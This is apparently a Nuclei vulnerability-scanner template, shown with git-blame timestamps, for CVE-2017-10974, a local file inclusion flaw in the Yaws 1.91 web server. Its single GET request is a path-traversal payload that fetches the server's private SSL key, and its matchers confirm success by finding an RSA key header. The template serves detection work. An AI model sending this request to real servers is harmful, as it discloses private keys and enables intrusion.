2021-11-08 22:38:40 +00:00
|
|
|
id: CVE-2017-10974
|
|
|
|
|
|
|
|
info:
|
2022-06-09 20:35:21 +00:00
|
|
|
name: Yaws 1.91 - Local File Inclusion
|
2021-11-08 22:38:40 +00:00
|
|
|
author: 0x_Akoko
|
|
|
|
severity: high
|
2022-06-09 20:35:21 +00:00
|
|
|
description: Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
|
2021-11-09 16:43:59 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/42303
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-10974
|
2022-05-17 09:18:12 +00:00
|
|
|
- http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
|
2022-06-09 20:46:20 +00:00
|
|
|
- https://www.exploit-db.com/exploits/42303/
|
2021-11-08 22:38:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cve-id: CVE-2017-10974
|
|
|
|
cwe-id: CWE-22
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: edb,cve,cve2017,yaws,lfi
|
2021-11-08 22:38:40 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/%5C../ssl/yaws-key.pem"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "BEGIN RSA PRIVATE KEY"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2022-06-09 20:35:21 +00:00
|
|
|
- '!contains(tolower(body), "<html")'
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/06/09
|